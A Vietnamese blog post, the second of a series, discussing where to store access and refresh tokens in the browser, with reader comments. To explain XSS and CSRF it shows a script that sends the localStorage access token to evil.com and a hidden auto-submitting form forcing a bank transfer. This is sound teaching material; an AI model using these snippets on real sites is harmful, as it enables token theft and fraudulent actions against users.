Tại sao cần Refresh Token? Bạn đã biết cách lưu trữ Refresh Token và Access Token an toàn trong trình duyệt chưa? Phần 2

Tại sao cần Refresh Token? Bạn đã biết cách lưu trữ Refresh Token và Access Token an toàn trong trình duyệt chưa? Phần 2

Bài viết trong chủ đề này:
  1. Tại sao cần Refresh Token? Bạn đã biết cách lưu trữ Refresh Token và Access Token an toàn trong trình duyệt chưa?
  2. Tại sao cần Refresh Token? Bạn đã biết cách lưu trữ Refresh Token và Access Token an toàn trong trình duyệt chưa? Phần 2
Tin ngắn hàng ngày dành cho bạn
  • Chỉ một thay đổi nhỏ trên trang chủ của Node.js mà khiến cộng đồng dậy sóng. Cụ thể khi truy cập vào trang chủ nodejs.org bạn sẽ thấy một nút "Get security support for Node.js 18 and below" ngay phía dưới nút "Download". Điều đáng nói ở đây là nó dẫn đến một trang web bên ngoài Node.js, nội dung nói về một dịch vụ cung cấp giải pháp bảo mật cho các phiên bản Node.js cũ hơn, vốn không còn được nhận các bản cập nhật bảo mật. Nó còn nổi bật hơn cả nút Tải xuống.

    Cộng đồng đã lên án hành vi này và nói rằng hành vi này hơi "lố", nên hỏi ý kiến của họ trước khi quyết định. Còn về phía Node, họ nói rằng điều này là phù hợp bởi vì đó là đối tác tài trợ rất lớn của họ. Đến thời điểm hiện tại thì liên kết vẫn còn tồn tại. Chờ xem diễn biến tiếp theo như thế nào nhé.

    Node.js Homepage Adds Paid Support Link, Prompting Contributor Pushback

    » Xem thêm
  • Một bài viết khá thú vị phân tích hành vi giữa con người với BOT để từ đó xây dựng nên một công cụ phân biệt đâu là người, đâu là BOT trên không gian mạng.

    Proof of Human. Creating the invisible Turing Test for the Internet

    » Xem thêm
  • Không hề kém cạnh, Google mới đây đã giới thiệu Gemini CLI - Một dạng AI Agent tương tự như Codex hay Claude Code.

    Điều đáng lưu ý là họ cho dùng miễn phí tới... 1000 truy vấn mỗi ngày. Nhiều đấy chứ. Ngoài ra họ cũng mã nguồn mở dự án này để đảm bảo tính minh bạch, học tập và nghiên cứu 🤓

    » Xem thêm

Vấn đề

Ở bài viết trước, Tại sao cần Refresh Token? Bạn đã biết cách lưu trữ Refresh Token và Access Token an toàn trong trình duyệt chưa? chúng ta đã biết tại sao nên dùng refresh token. Vấn đề đặt ra là nếu access token bị đánh cắp thì khả năng refresh token "không cánh mà bay" cũng là rất cao. Vậy thì việc sinh ra refresh token đâu có ý nghĩa lý gì nữa khi cơ hội đánh cắp cả hai là như nhau?

Để tìm ra câu trả lời, có rất nhiều cuộc tranh luận nổ ra và dường như chưa có hồi kết bởi vì ai cũng có ý đúng. Trong vai trò là một khán giả ngồi trên khán đài của sân bóng, quan sát trận đấu để từ đó tổng hợp và đưa ra những nhận định thấy tâm đắc nhất. Chẳng có gì mang ý nghĩa tuyệt đối mà còn phụ thuộc vào góc nhìn của mỗi người. Vậy, rất mong bạn đọc tiếp tục đóng góp ý kiến xuống dưới phần bình luận để bài viết được hoàn thiện hơn. Quay trở lại với bài viết lần này, chúng ta hãy cùng nhau tìm hiểu xem lưu access token và refresh token ở đâu trong trình duyệt để mang lại khả năng bảo mật tốt nhất. Hoặc ít ra là hiểu vấn đề để tìm chỗ lưu cho phù hợp.

Các hình thức tấn công nhằm vào access token & refresh token

Để tìm được cách ngăn chặn, trước hết chúng ta cần phải tìm hiểu xem có những hình thức tấn công nào nhằm vào access token và refresh token.

Về cơ bản có 2 hình thức. Một là "ăn cắp" thẳng thừng. Hai là lợi dụng để thực hiện hành vi mà người dùng không mong muốn. Tương ứng với hai hình thức đó là kỹ thuật tấn công XSS (Cross-Site Scripting) và CSRF (Cross-Site Request Forgery). À chưa hết, bởi còn một hình thức nguy hiểm nhất là PAA (Physical Access Attack). Tức là kẻ tấn công sử dụng trực tiếp máy của nạn nhân để truy cập và sao chép bất hợp pháp dữ liệu người dùng. Vì thế đừng bao giờ rời mắt khỏi thiết bị của bạn nếu trong máy chứa dữ liệu quan trọng. Nhưng vì PAA quá rõ ràng nên hãy tập trung vào hai hình thức tấn công XSS và CSRF.

XSS là một hình thức tấn công phổ biến. Kẻ tấn công bằng cách nào đó chèn được một đoạn mã JavaScript vào máy chủ. Máy chủ phân phối đoạn mã đó đến máy khách. Khi máy khách nhận được và thực thi đoạn mã, dữ liệu sẽ bị đánh cắp.

Lấy ví dụ, một trang web có tính năng bình luận. Ai cũng có thể bình luận và người khác có thể xem bình luận đó. Nếu trang web chưa ngăn chặn hành vi XSS, kẻ tấn công bắt đầu bình luận nội dung.

<script>
fetch('https://evil.com/steal?token=' + localStorage.getItem('access_token'));
</script>

Bình luận này phân phối đến những người khác. Ngay lập tức đoạn mã này được thực thi, nó ăn cắp access_token gửi đến một địa chỉ https://evil.com/steal.

Ngược lại, CSRF không trực tiếp ăn cắp, nó chỉ lợi dụng để buộc người dùng thực hiện hành vi không mong muốn.

Lấy ví dụ, bạn đã đăng nhập vào một trang ngân hàng điện tử bank.com. Về lý thuyết, access token & refresh token (nếu có) đã được lưu xuống trình duyệt và tự động gửi lên cho mỗi lần truy cập sau đó. Kẻ tấn công lừa bạn truy cập vào trang web của hắn, trang này có chứa đoạn mã độc trông giống như sau.

<form action="https://bank.com/transfer" method="POST" style="display: none;">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="to_account" value="666666">
  <input type="submit">
</form>

<script>
  document.forms[0].submit();
</script>

Dễ dàng nhận thấy đây là một đoạn mã được chạy tự động khi vừa truy cập. Nó gửi một yêu cầu chuyển tiền đến https://bank.com/transfer. Nếu bank.com không xử lý tốt CSRF thì kẻ tấn công đã thực hiện một phi vụ chuyển tiền trót lọt vì rõ ràng trình duyệt nhận thấy một yêu cầu gửi đến https://bank.com và nó ngay lập tức gửi đi access token hợp lệ.

CSRF có thể ngăn chặn bằng cách thiết lập SameSite=Strict hoặc SameSite=Lax trong cookies. Vậy nhưng không phải trang web nào cũng phù hợp cho hai chế độ này. Nói cách khác cần phải đề phòng trước những nguy cơ tiềm ẩn mà không dễ dàng nhận thấy.

Access token và refresh token lưu ở đâu?

Điểm lại trong trình duyệt, có các vị trí lưu trữ như sau:

  • Cookies
  • SessionStorage
  • LocalStorage
  • IndexdDB
  • Hay một số trình duyệt còn hỗ trợ Web SQL Database - Một dạng cơ sở dữ liệu quan hệ SQL.
  • Biến JavaScript (Variable)

Vì vậy, hãy thử phân tích xem điều gì xảy ra nếu lưu trữ access token và refresh token ở trong Cookies? Nếu lưu cả hai trong Cookies, chúng sẽ tự động đính kèm vào trong mỗi yêu cầu đến máy chủ. Điều này là không cần thiết và có phần thừa thãi vì không phải yêu cầu nào cũng cần đến refresh token. Ngoài ra, lưu trữ cả 2 trong Cookies đều có nguy cơ bị tấn công XSS và CSRF là rất cao. Nếu chẳng may trang web bị tấn công XSS, kẻ tấn công dễ dàng lấy được access token & refresh token.

Lưu trữ access token, hoặc refresh trong SessionStorage, LocalStorage, IndexdDB, Web SQL... có thể ngăn chặn được CSRF do yêu cầu không tự động đính kèm mã truy cập. Nhưng lại tồn tại nỗi lo XSS. Chỉ cần chèn được một đoạn mã JavaScript đơn giản, dữ liệu người dùng không cánh mà bay. Dễ dàng nhận thấy mấu chốt của vấn đề là kẻ tấn công lợi dụng mã JavaScript để ăn cắp, vậy có nơi nào trong trình duyệt mà JavaScript không thể truy cập vào được không?

Thật may mắn là có. Trong Cookies có một loại giá trị gọi là httpOnly - nơi mà JavaScript không thể truy cập vào được. Giả sử trang web bị tấn công XSS thì kẻ tấn công vẫn không thể nào lấy được mã truy cập. httpOnly mang đầy đủ yếu tố của một giá trị Cookies thông thường. Vậy thì có phải lưu cả 2 trong Cookies dưới dạng httpOnly là an toàn rồi không? Hmm... Chưa hẳn. Vì lúc này lại quay trở lại với bài toán dễ bị tấn công CSRF.

Đến đây bạn đọc có thể nhận ra rằng việc lưu trữ refresh token trong Cookies dưới dạng httpOnly lại miễn nhiễm với tấn công CSRF. Vì CSRF chủ yếu nhằm vào access token để lấy quyền truy cập của người dùng, trong khi refresh token thì không làm được điều này. Ngoài ra, việc sử dụng refresh token để xin cấp một access token mới chỉ diễn ra ở một điểm cuối (endpoint) nhất định. Chỉ cần thiết lập Cookies áp dụng ở API đó thì giải quyết được vấn đề lãng phí trong mỗi truy vấn. Quả là một sự lựa chọn hoàn hảo. Vấn đề lúc này là tìm vị trí thích hợp cho access token.

Thực tế, access token chỉ còn cách lưu trữ trong SessionStorage, LocalStorage, IndexdDB, Web SQL... là đã tránh được tấn công CSRF, chỉ còn mỗi mối lo duy nhất là XSS. Ngược lại, nếu lưu trong Cookies thì mối lo lại quay về với CSRF. Nói tóm lại không có giải pháp nào là tuyệt đối. Có lẽ lúc này cần quan tâm vào ngăn chặn XSS và CSRF hơn là lưu ở đâu.

Ngoài ra vẫn còn một nơi mà từ nãy đến giờ chưa có nhắc đến là trong biến JavaScript. Việc lưu trữ access token trong biến của JavaScript không đảm bảo an toàn trước XSS nhưng lại có những lợi ích hơn so với SessionStorage, LocalStorage... bên trên. Access token chỉ tồn tại trong vòng đời của trang hiện tại. Khi người dùng tải lại trang hoặc tắt trang web thì access token cũng mất. Kẻ tấn công chỉ có thể đánh cắp nếu chèn được mã độc trong phiên của người dùng và biết chính xác biến nào đang chứa dữ liệu access token.

Tổng kết

Có hai hình thức tấn công phổ biến nhằm vào access token và refresh token là XSS và CSRF. Trong khi XSS tận dụng việc chèn mã độc JavaScript để ăn cắp dữ liệu thì CSRF lại lợi dụng để thực hiện hành vi mà người dùng không mong muốn. Để ngăn chặn XSS, cách tốt nhất là lưu trữ refresh token trong Cookies ở trạng thái httpOnly. Access token nên được lưu trữ trong một biến JavaScript để loại bỏ tấn công CSRF và giảm thiểu nỗi lo XSS.

Cao cấp
Hello

5 bài học sâu sắc

Mỗi sản phẩm đi kèm với những câu chuyện. Thành công của người khác là nguồn cảm hứng cho nhiều người theo sau. 5 bài học rút ra được đã thay đổi con người tôi mãi mãi. Còn bạn? Hãy bấm vào ngay!

Mỗi sản phẩm đi kèm với những câu chuyện. Thành công của người khác là nguồn cảm hứng cho nhiều người theo sau. 5 bài học rút ra được đã thay đổi con người tôi mãi mãi. Còn bạn? Hãy bấm vào ngay!

Xem tất cả

Đăng ký nhận thông báo bài viết mới

hoặc
* Bản tin tổng hợp được gửi mỗi 1-2 tuần, huỷ bất cứ lúc nào.

Bình luận (4)

Nội dung bình luận...
Avatar
Nguyen Danh11 tháng trước

PA2 - Lưu trữ cả hai trong httpOnly cookie -> dễ bị CSRF nhưng có thể tránh được.PA3 - Chỉ lưu trữ Refresh Token trong httpOnly cookie -> an toàn khỏi CSRF.

Vì sao đều lưu ở httpOnly cookie nhưng PA2 thì dễ bị CSRF còn PA3 thì an toàn ???

Trả lời
Avatar
Trần Ngọc Hải2 năm trước

Thật ra ko thể tránh khỏi việc dữ liệu bị đánh cắp cốt là cách xử lý sau khi bị đánh cắp như thế nào cho giảm thiểu tối đa rủi ro

Trả lời
Avatar
Nguyễn Văn Nhật2 năm trước

M có đọc được lời khuyên là nên lưu vào bộ nhớ ứng dụng ví dụ như reduce hoặc một biến nào đó khởi tạo trong ứng dụng. Ví dụ như là const token = 'xxx'

Trả lời
Avatar
Xuân Hoài Tống2 năm trước

Ý bạn là redux? Đúng vậy bạn có thể lưu lại AT hoặc RT vào đó nhưng nếu reload lại page thì sẽ bị mất và người dùng phải đăng nhập lại

Avatar
Nguyễn Văn Nhật2 năm trước

Trước khi reload mình sẽ lưu lại vào localStorage, nó giống như kiểu hiện 1 alert khi bấm vào reload vậy

Avatar
Xuân Hoài Tống2 năm trước

Người dùng vẫn có thể đột ngột tắt trình duyệt hoặc hệ điều hành cũng có quyền kết thúc tiến trình thế nên bạn sẽ không kịp lưu lại được

Avatar
Long Domi2 năm trước

H mới chịu ra cơ mà e muốn hỏi chổ CSRF kia là ntn ạ hơi khó hiểu

Trả lời
Avatar
Vũ Mạnh Đức2 năm trước

CSRF là một cuộc tấn công giả mạo người dùng, bạn có thể đọc thêm trên google hoặc https://developer.mozilla.org/en-US/docs/Glossary/CSRF. Đại loại là kẻ tấn công lợi dụng chính những request từ máy bạn để vượt qua được xác thực (bởi vì các request được gửi từ máy bạn) để thực hiện hành vi yêu cầu quyền xác thực. Những hành vi đó có thể gây nguy hiểm như đổi mật khẩu, đổi email...

Avatar
Long Domi2 năm trước

Thanks a e sẽ nghiên cứu ạ

Avatar
Long Domi2 năm trước

@gif [tfUW8mhiFk8NlJhgEh] Trả lời bình luận có cả email luôn ghê thật